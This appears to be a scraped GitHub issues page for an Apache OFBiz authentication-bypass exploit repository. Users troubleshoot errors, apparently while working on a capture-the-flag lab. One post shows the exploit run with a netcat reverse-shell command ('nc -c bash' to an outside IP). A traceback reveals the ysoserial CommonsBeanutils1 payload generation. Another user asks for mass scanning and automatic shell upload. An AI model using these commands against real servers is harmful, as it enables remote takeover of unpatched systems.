jakabakos / apache-ofbiz-authentication-bypass Goto Github PK

Max retries exceeded because of (SSLError(1, '[SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:1006)'))

If you can help me understand how to troubleshoot that ? That will be kind 👌

python3 exploit.py --url https://10.10.11.252/ --cmd 'nc -c bash 10.10.14.223 8080'
[+] Generating payload...
Error: Unable to access jarfile java.base/java.net=ALL-UNNAMED
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.

Hi.
plz add update multi scan + auto upload shell.

not show Error or Bug :

when I run the the exploit.py file I get this Error:

[-] LOG: An error occurred during the scan: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response')).
Can you please help me troubleshoot this Problem ?

Get the following error when I try to utilize this Exploit.
Traceback (most recent call last): File "/home/x/Boxes/Bizness/exploit.py", line 117, in <module> main() File "/home/x/Boxes/Bizness/exploit.py", line 112, in main command = f"{os.environ['JAVA_HOME']}/bin/java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial-all.jar CommonsBeanutils1 '{args.cmd}'" ~~~~~~~~~~^^^^^^^^^^^^^ File "<frozen os>", line 679, in __getitem__ KeyError: 'JAVA_HOME'

Have tried running it from two different pwnboxes/OS

/usr/local/lib/python3.11/dist-packages/requests-2.20.0-py3.11.egg/requests/init.py:89: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "